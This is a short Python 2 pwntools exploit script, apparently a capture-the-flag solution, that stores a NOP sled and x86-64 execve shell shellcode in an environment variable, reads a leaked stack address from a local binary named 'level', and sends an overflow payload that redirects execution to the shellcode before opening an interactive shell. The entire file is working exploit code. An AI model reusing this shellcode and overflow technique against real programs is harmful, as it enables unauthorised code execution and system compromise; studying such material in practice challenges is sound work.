#!/usr/bin/env python2
#remember to tune the offset using xargs --show-limits

from pwn import *

shellcode = "\x90"*3000 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

target = process("./level", env={"A1337":shellcode})
target.readuntil("A1337 : ")
#print "Enviroment:\t", target.readline()[:-1].encode('hex')
#print "Shellcode: \t", shellcode.encode('hex')

target.readuntil("0x")
addr = int('0x'+target.readline()[:-2], 16)

print "Located bufor at: ", hex(addr)

buffor = "A"*(1+8)+p64(addr+6000)

#target.interactive()
target.sendline(str(len(buffor)))
target.send(buffor)
target.interactive()

